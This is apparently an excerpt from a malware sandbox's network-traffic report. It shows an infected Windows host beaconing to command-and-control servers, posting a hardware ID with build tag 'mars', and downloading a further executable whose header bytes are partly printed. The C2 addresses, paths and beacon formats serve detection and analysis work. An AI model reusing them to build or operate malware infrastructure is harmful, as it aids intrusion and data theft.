Nov 27, 2024 18:00:07.330492020 CET	1236	IN	Data Raw: 36 e5 77 e6 ba e2 cb 86 0b 92 96 30 ac e4 5a ec a0 e0 17 f7 d2 16 18 a7 4a ed 89 00 1c ec 85 04 6e fa 05 08 47 66 76 e7 40 cd d3 de cc b3 4c 08 d8 ce 04 40 e3 a3 8c e1 aa 9e 8b 1b 5f 5d d8 64 d0 24 8d 00 20 96 9b ee 46 e6 a9 db 7d 3d 21 b7 22 6d Data Ascii: 6w0ZJnGfv@L@_]d$ F}=!"m"Xt"_BH)Zj#OWB4<f.*Mv~V^"e>>?22~E62#j<( ~klFjB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	54566	185.215.113.43	80	9132	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 18:00:13.023977041 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 39 36 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009654001&unit=246122658369
Nov 27, 2024 18:00:14.411112070 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 17:00:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	54568	185.215.113.16	80	9132	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 18:00:14.552762032 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 27, 2024 18:00:15.999902964 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 17:00:15 GMT Content-Type: application/octet-stream Content-Length: 923136 Last-Modified: Wed, 27 Nov 2024 16:45:33 GMT Connection: keep-alive ETag: "67474cad-e1600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a5 4c 47 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 66 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELLGg"fw@p@@@d\|@4u4@.text `.rdata@@.datalpH@.rsrc4@@@.relocuv@B
Nov 27, 2024 18:00:15.999973059 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Nov 27, 2024 18:00:15.999988079 CET	448	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Nov 27, 2024 18:00:16.000106096 CET	1236	IN	Data Raw: e8 2d 82 00 00 8d 8f d0 fc ff ff e8 9d 02 00 00 8b 8f c4 fc ff ff 85 c9 0f 85 d9 0f 04 00 89 9f cc fc ff ff 8b 8f b8 fc ff ff 85 c9 0f 85 d9 0f 04 00 8d 8f 6c fc ff ff 89 9f c0 fc ff ff e8 ef 81 00 00 8d 8f 5c fc ff ff e8 e4 81 00 00 8d 8f 4c fc Data Ascii: -l\L_^[`t#05MI`tQF;dfqQVW3N>5N$-N4sPN`kPj
Nov 27, 2024 18:00:16.000118017 CET	1236	IN	Data Raw: 08 88 51 10 89 51 14 88 51 18 89 41 2c 8b c1 89 51 20 89 51 28 88 51 30 c3 56 8b f1 83 26 00 8d 4e 08 e8 57 00 00 00 8d 8e 8c 00 00 00 e8 fe 8d 00 00 8d 8e 9c 00 00 00 e8 f3 8d 00 00 8d 8e ac 00 00 00 e8 e8 8d 00 00 8d 8e bc 00 00 00 e8 dd 8d 00 Data Ascii: QQQA,Q Q(Q0V&NW LjE$\|I IF^jAZ @uSV5I3WjXSGfG____j[GSjG)ShG&ShG'SjG(SjG$
Nov 27, 2024 18:00:16.000242949 CET	1236	IN	Data Raw: 57 8a d3 8b 0e 8d 79 01 51 89 3e e8 9c 07 00 00 85 c0 74 1c 89 0d 28 15 4d 00 8b 40 04 8b 00 66 39 58 08 75 05 83 38 21 74 0f 8b cf 84 d2 74 d5 5f 5e 33 c0 5b 5d c2 04 00 b2 01 eb ed 55 8b ec 83 ec 1c 33 d2 42 53 56 57 8b c2 50 8d 50 01 89 55 fc Data Ascii: WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4AEAEARUE{lMG3+DfxGuB
Nov 27, 2024 18:00:16.000255108 CET	1236	IN	Data Raw: 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 1d 05 04 00 83 6d b4 01 0f 85 4d 05 04 00 eb 10 8b 45 b4 40 89 45 b4 83 f8 01 0f 8f 30 05 04 00 ff 75 e8 8b 5d fc ff 75 f4 8b 45 f8 ff 75 e4 ff 75 e0 53 50 ff 75 f0 57 e8 0f 04 00 00 85 c0 0f 89 08 ff ff ff Data Ascii: AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]ETpXEE;1uuuuSRu3SxMxl
Nov 27, 2024 18:00:16.000390053 CET	1236	IN	Data Raw: 6a 04 5a f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 4c d4 01 00 8b 3e 33 d2 59 8b 4e 0c 89 46 08 85 c9 7e 11 8b 46 08 89 3c 90 42 8b 4e 0c 8b 7f 24 3b d1 7c ef 53 8d 41 ff 32 db 33 ff 85 c0 7e 2c 8b 46 08 8b 0c b8 8b d1 8b 44 b8 04 89 4d f4 8b c8 89 45 f8 Data Ascii: jZQL>3YNF~F<BN$;\|SA23~,FDMEuNGA;\|u[_FMFMLU,SVWL$(D$83Ph\$\$(ID$PuIM3#MG;
Nov 27, 2024 18:00:16.000401020 CET	1236	IN	Data Raw: ca 49 00 8d 4d e0 e8 27 6e 00 00 6a 01 ff 35 18 14 4d 00 8d 4d b8 89 5d c4 89 5d c8 88 5d cc e8 26 20 00 00 85 c0 0f 84 03 fe 03 00 88 5d 0b 8d 4d e0 e8 d7 69 00 00 56 b9 f0 13 4d 00 e8 04 7a 00 00 8d 45 94 50 8d 4d c0 e8 b9 40 00 00 68 84 ca 49 Data Ascii: IM'nj5MM]]]& ]MiVMzEPM@hIMmSjEPEP/yMihtIME]EmSSEPEPxMEciMluM"zEPM9}WhXIYYWh0IYY
Nov 27, 2024 18:00:16.000411987 CET	1236	IN	Data Raw: eb ee 55 8b ec b8 04 00 01 00 e8 ec eb 03 00 56 8d 45 fc 8b f2 50 8d 85 fc ff fe ff 50 68 ff 7f 00 00 ff 31 ff 15 68 c3 49 00 8b 45 fc 85 c0 74 05 33 c9 66 89 08 8d 8d fc ff fe ff e8 11 00 00 00 8d 85 fc ff fe ff 8b ce 50 e8 b3 37 00 00 5e c9 c3 Data Ascii: UVEPPh1hIEt3fP7^VVYtf\|F\u3fLF^UVW3FO;Qu_^]USVWueYN3C;FPiq?PFuCP~3N_fH^
Nov 27, 2024 18:00:16.122184038 CET	1236	IN	Data Raw: 5e 5b c9 c2 04 00 83 c8 ff eb f4 41 eb da 55 8b ec 83 e4 f8 81 ec bc 03 00 00 53 56 57 68 b4 03 00 00 33 db c7 44 24 14 a8 03 00 00 8d 44 24 18 8b f1 53 50 e8 de ea 01 00 83 c4 0c 39 9e 98 01 00 00 75 0b a1 e4 13 4d 00 89 86 98 01 00 00 39 9e a4 Data Ascii: ^[AUSVWh3D$D$SP9uM9uM9uMSW[Md$$D$F@D$D$D$ qD$$=hMD$PjIhM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	54570	185.215.113.206	80	2960	C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 18:00:14.713908911 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 27, 2024 18:00:16.101454020 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 17:00:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 18:00:16.266762018 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDGDGDHDGDBFIDHDBAF Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 30 43 45 37 37 44 45 30 42 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 2d 2d 0d 0a Data Ascii: ------KJDGDGDHDGDBFIDHDBAFContent-Disposition: form-data; name="hwid"40CE77DE0B39786254513------KJDGDGDHDGDBFIDHDBAFContent-Disposition: form-data; name="build"mars------KJDGDGDHDGDBFIDHDBAF--
Nov 27, 2024 18:00:16.734085083 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 17:00:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	54586	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 18:00:20.492069006 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 39 36 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009655001&unit=246122658369
Nov 27, 2024 18:00:21.876768112 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 17:00:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	54605	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 18:00:25.324618101 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 27, 2024 18:00:26.460767031 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 26 Nov 2024 17:09:24 GMT Age: 85862 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	54618	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 18:00:26.876885891 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 27, 2024 18:00:28.011022091 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 26 Nov 2024 17:09:24 GMT Age: 85863 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 27, 2024 18:00:28.062664032 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 27, 2024 18:00:28.411026955 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 26 Nov 2024 17:09:24 GMT Age: 85864 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 27, 2024 18:00:29.165468931 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 27, 2024 18:00:29.490483999 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 26 Nov 2024 17:09:24 GMT Age: 85865 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 27, 2024 18:00:30.459034920 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 27, 2024 18:00:30.799331903 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 26 Nov 2024 17:09:24 GMT Age: 85866 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 27, 2024 18:00:31.725121975 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 27, 2024 18:00:32.049932957 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 26 Nov 2024 17:09:24 GMT Age: 85867 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 27, 2024 18:00:33.155739069 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 27, 2024 18:00:33.493729115 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 26 Nov 2024 17:09:24 GMT Age: 85869 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 27, 2024 18:00:43.580313921 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	54617	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 18:00:26.876971960 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 27, 2024 18:00:28.060703993 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 26 Nov 2024 23:39:07 GMT Age: 62480 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	54625	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 18:00:27.572534084 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 27, 2024 18:00:28.917545080 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 17:00:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 18:00:29.056080103 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJDBAKKKFBFHIDGIIEH Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 41 4b 4b 4b 46 42 46 48 49 44 47 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 30 43 45 37 37 44 45 30 42 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 41 4b 4b 4b 46 42 46 48 49 44 47 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 41 4b 4b 4b 46 42 46 48 49 44 47 49 49 45 48 2d 2d 0d 0a Data Ascii: ------IIJDBAKKKFBFHIDGIIEHContent-Disposition: form-data; name="hwid"40CE77DE0B39786254513------IIJDBAKKKFBFHIDGIIEHContent-Disposition: form-data; name="build"mars------IIJDBAKKKFBFHIDGIIEH--
Nov 27, 2024 18:00:29.518351078 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 17:00:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	54628	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 18:00:28.178280115 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	54631	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 18:00:28.571161985 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	54640	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 18:00:29.638813019 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 27, 2024 18:00:30.785406113 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 26 Nov 2024 22:46:37 GMT Age: 65633 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 27, 2024 18:00:30.815040112 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 27, 2024 18:00:31.140089989 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 26 Nov 2024 22:46:37 GMT Age: 65633 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 27, 2024 18:00:32.055994034 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 27, 2024 18:00:32.380651951 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 26 Nov 2024 22:46:37 GMT Age: 65635 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 27, 2024 18:00:33.514436960 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 27, 2024 18:00:33.840894938 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 26 Nov 2024 22:46:37 GMT Age: 65636 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 27, 2024 18:00:43.882451057 CET	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.7	49701	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
